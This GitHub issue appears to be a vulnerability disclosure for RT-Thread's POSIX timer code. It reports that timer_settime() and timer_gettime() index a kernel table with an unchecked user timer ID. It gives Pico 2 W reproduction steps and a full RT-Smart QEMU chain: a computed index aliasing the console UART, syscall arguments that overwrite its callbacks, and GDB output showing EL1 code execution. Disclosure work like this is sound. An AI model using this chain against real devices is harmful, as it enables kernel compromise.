Repository navigation
Description
RT-Thread Version
master 5d1fb66d13 (v5.4.0-dev). The vulnerable indexing was introduced by
077e984175e546a495fee1ace6f2f54ff161fc77; first affected release: v5.0.2.
Affected area
Components / libc / POSIX timer.
Hardware-BSP vendor
Raspberry Pi (Pico 2 W / RP2350) and QEMU (qemu-virt64-aarch64).
Architecture
ARM Cortex-M33 for the Pico 2 W board test; AArch64 for the RT-Smart
user-to-kernel proof of concept.
Board and hardware details
- Pico 2 W, RP2350, ARM Secure image,
pico2_w, UF2 familyrp2350-arm-s. - Pico USB CDC:
plink -serial COM10 -sercfg 115200,8,n,1,N. - QEMU:
qemu-virt64-aarch64,RT_USING_SMART=y, virtio-blk FAT rootfs, PL011
console, 128 MiB RAM, single CPU.
Develop Toolchain
- Pico: Pico SDK 2.3.1,
arm-none-eabi-gcc10.3.1. - RT-Smart kernel: RT-Thread AArch64 musl toolchain (GCC 7.3.0).
- User PoCs: freestanding AArch64 ELFs using official syscall entry points.
Describe the bug
timer_gettime() and timer_settime() use the user-supplied timer_t directly
as an index into the global _g_timerid[50] table:
timer = _g_timerid[(rt_ubase_t)timerid];There is no timerid < TIMER_ID_MAX check. The sibling timer_delete() path
does perform that check, so the omission is inconsistent with the object-table
contract.
On RT-Smart, this is not only an out-of-bounds read. An attacker can select a
pointer stored next to _g_timerid and reinterpret the target kernel object as
struct timer_obj. In the QEMU image, index 0x35a5 (13733) aliases
_console_device. timer_settime() then overwrites fields of the live UART
device with attacker-controlled itimerspec data, including rx_indicate and
ops. One subsequent UART RX byte transfers control to the attacker-selected
address in EL1.
Expected behavior: reject a timer ID outside 0..TIMER_ID_MAX-1, and validate
the selected object's type and owner before using or mutating it.
Actual behavior: arbitrary aligned kernel memory can be read as a timer pointer;
a reachable adjacent object can be corrupted with user-controlled values.
Step to reproduce - Pico 2 W hardware
The reproduction UF2 builds RT-Thread's original
components/libc/compilers/common/ctime.c and resource_id.c for RP2350, with
USB CDC enabled. Only the clock backend functions needed to satisfy the linker
are stubbed; the vulnerable _g_timerid[] lookup occurs before those callbacks.
In the reproduced image:
10003f28 T timer_gettime
10003fd4 T timer_settime
2000202c b _g_timerid
The original timer_settime() entry starts with:
10003fd8: ldr r5, [pc, #364]
10003fdc: ldr.w r6, [r5, r0, lsl #2] ; _g_timerid[(rt_ubase_t)timerid]
Steps:
-
Build the Pico firmware with the vulnerable
ctime.cand flash the resulting
UF2 to a Pico 2 W. -
Open the USB CDC port:
plink -serial COM10 -sercfg 115200,8,n,1,N -
Confirm the shell is alive:
help -
Trigger the OOB index:
timer_oob
Observed on the board:
timer_oob> timer_oob
timer_oob: timer_t index=0x20000000
timer_oob: calling original ctime.c timer_settime()
There is no return from timer_settime(). On RP2350 the effective address is
0x2000202c + 0x20000000 * 4 = 0xa000202c (32-bit arithmetic), which is
unmapped and faults. Depending on the fault handler, the USB CDC connection
disappears/resets or the shell stops responding.
Step to reproduce - RT-Smart QEMU full chain
-
Build
bsp/qemu-virt64-aarch64withRT_USING_SMART=y,
RT_USING_POSIX_TIMER=y,RT_USING_CLOCK_TIME=y, DFS v2 and page cache. -
Place a freestanding AArch64 user ELF on the FAT rootfs.
-
In the user ELF, call official syscall 159 (
sys_timer_settime) with:timerid = 0x35a5 it_interval.tv_sec = 0 it_interval.tv_nsec = 0 it_value.tv_sec = address of mapped user payload, e.g. 0x10000000 it_value.tv_nsec = 0 old_value = NULL -
For this exact image:
_g_timerid = 0xffff000000200578 _console_device = 0xffff00000021b2a0 index = (0x21b2a0 - 0x200578) / 8 = 13733 = 0x35a5 -
Control group: perform
timer_gettime(0)and then send one UART byte. The
system remains alive. -
Attack group: call
timer_settime(0x35a5, ...)above and send one UART byte.
GDB observation:
sys_timer_settime -> timer_settime(timerid=0x35a5)
fake timer pointer = 0xffff00000024b860 (uart0)
offset +128 rx_indicate:
0xffff0000001414e4 -> 0x10000000
offset +144 ops:
0xffff0000001876d8 -> 0x19c2ea
UART RX interrupt:
PC = 0x10000000
SP = 0xffff00000021ad30 <idle_thread_stack+6848>
PSTATE = 20002bc5 --C- EL1h
The UART RX ISR calls the corrupted rx_indicate field and reaches the
attacker-mapped address with EL1 execution.
Other additional context
Severity:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.8 High
CWE-129 / CWE-787 / CWE-125 / CWE-822
Attack precondition: a local unprivileged RT-Smart process. This BSP has no
KASLR, so the adjacent object index can be derived from the firmware or scanned.
Related existing reports:
- [Bug] Insufficient pointer validation vulnerability in the sys_timer_gettime system call in Smart version of RT-Thread #10301 describes the same unchecked
timeridintimer_gettime(). - [Bug] Insufficient pointer validation vulnerability in the sys_timer_settime system call in Smart version of RT-Thread #10302 describes the same unchecked
timeridintimer_settime().
Both issues were closed as completed on 2025-05-24, but master still contains
the vulnerable indexing. This report is therefore an incomplete-fix follow-up:
it cross-references the known root cause and adds the missing full Pico 2 W and
RT-Smart EL1 exploitation evidence. PR #11938 only addresses 64-bit time
truncation and does not validate the timer ID.
Activity
github-actions commentedon Nov 3, 2026
如需认领并处理此 Issue,请评论
/claim。To claim and work on this issue, comment
/claim.